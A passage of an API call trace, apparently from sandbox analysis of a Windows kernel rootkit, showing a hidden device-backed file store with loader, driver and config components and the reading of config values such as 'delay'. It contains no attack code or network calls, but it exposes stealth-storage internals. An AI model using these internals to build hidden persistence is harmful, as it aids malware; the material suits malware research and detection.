[0130.599] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.599] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.599] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.599] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.599] KeLeaveCriticalRegion () [0130.599] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.599] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.599] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.599] KeEnterCriticalRegion () [0130.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.599] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.599] IdePortDispatch () returned 0x103 [0130.599] KeWaitForMutexObject () returned 0x0 [0130.599] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.599] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.599] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.599] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.599] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.600] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.600] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.600] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.600] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.600] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.600] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.600] KeLeaveCriticalRegion () [0130.600] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.600] ReleaseMutex (hMutex=0x100) returned 1 [0130.600] Sleep (dwMilliseconds=0x2bf20) [0130.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70f522f0, dwHighDateTime=0x1d24fa4)) [0130.606] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.606] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.606] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.606] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.606] KeEnterCriticalRegion () [0130.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.606] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.606] IdePortDispatch () returned 0x103 [0130.606] KeWaitForMutexObject () returned 0x0 [0130.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.607] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.607] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.607] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.607] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.607] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.607] KeLeaveCriticalRegion () [0130.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.607] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.607] KeEnterCriticalRegion () [0130.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.607] KeLeaveCriticalRegion () [0130.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.607] KeEnterCriticalRegion () [0130.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.607] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.607] IdePortDispatch () returned 0x103 [0130.607] KeWaitForMutexObject () returned 0x0 [0130.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.607] KeLeaveCriticalRegion () [0130.607] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.607] KeEnterCriticalRegion () [0130.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.608] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003450000 [0130.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.608] IdePortDispatch () returned 0x103 [0130.608] KeWaitForMutexObject () returned 0x0 [0130.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.608] IdePortDispatch () returned 0x103 [0130.608] KeWaitForMutexObject () returned 0x0 [0130.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.608] KeLeaveCriticalRegion () [0130.608] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.609] KeEnterCriticalRegion () [0130.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] KeLeaveCriticalRegion () [0130.609] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.609] KeEnterCriticalRegion () [0130.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.609] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800294d310, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] KeLeaveCriticalRegion () [0130.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.609] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.609] KeEnterCriticalRegion () [0130.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] KeLeaveCriticalRegion () [0130.609] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.609] ReleaseMutex (hMutex=0xf0) returned 1 [0130.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.609] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.609] KeEnterCriticalRegion () [0130.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.609] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.609] IdePortDispatch () returned 0x103 [0130.609] KeWaitForMutexObject () returned 0x0 [0130.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.610] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.610] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.610] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.610] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.610] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ddb0 [0130.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.610] KeLeaveCriticalRegion () [0130.610] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.610] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.610] KeEnterCriticalRegion () [0130.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.610] KeLeaveCriticalRegion () [0130.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.610] KeEnterCriticalRegion () [0130.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.610] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.610] IdePortDispatch () returned 0x103 [0130.610] KeWaitForMutexObject () returned 0x0 [0130.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.610] KeLeaveCriticalRegion () [0130.610] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.611] KeEnterCriticalRegion () [0130.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.611] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003451000 [0130.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.611] IdePortDispatch () returned 0x103 [0130.612] KeWaitForMutexObject () returned 0x0 [0130.612] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.612] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.612] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.612] IdePortDispatch () returned 0x103 [0130.612] KeWaitForMutexObject () returned 0x0 [0130.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.612] KeLeaveCriticalRegion () [0130.612] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.613] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.613] KeEnterCriticalRegion () [0130.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] KeLeaveCriticalRegion () [0130.613] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.613] KeEnterCriticalRegion () [0130.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.613] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] KeLeaveCriticalRegion () [0130.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.613] KeEnterCriticalRegion () [0130.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] ExFreePoolWithTag (P=0xfffffa800294ddb0, Tag=0x0) [0130.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.613] KeLeaveCriticalRegion () [0130.613] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.613] ReleaseMutex (hMutex=0xf0) returned 1 [0130.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.613] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.614] KeEnterCriticalRegion () [0130.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.614] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.614] IdePortDispatch () returned 0x103 [0130.614] KeWaitForMutexObject () returned 0x0 [0130.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.614] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.614] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.614] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.614] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.614] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c910 [0130.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.614] KeLeaveCriticalRegion () [0130.614] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.614] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.614] KeEnterCriticalRegion () [0130.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.614] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.614] KeLeaveCriticalRegion () [0130.614] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.615] KeEnterCriticalRegion () [0130.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.615] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.615] IdePortDispatch () returned 0x103 [0130.615] KeWaitForMutexObject () returned 0x0 [0130.615] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.615] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.615] KeLeaveCriticalRegion () [0130.615] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.615] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.615] KeEnterCriticalRegion () [0130.615] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.615] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003452000 [0130.615] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.615] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.615] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.615] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.615] IdePortDispatch () returned 0x103 [0130.616] KeWaitForMutexObject () returned 0x0 [0130.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.616] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.616] IdePortDispatch () returned 0x103 [0130.616] KeWaitForMutexObject () returned 0x0 [0130.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.616] KeLeaveCriticalRegion () [0130.616] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.617] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.617] KeEnterCriticalRegion () [0130.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] KeLeaveCriticalRegion () [0130.617] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.617] KeEnterCriticalRegion () [0130.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.617] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.617] 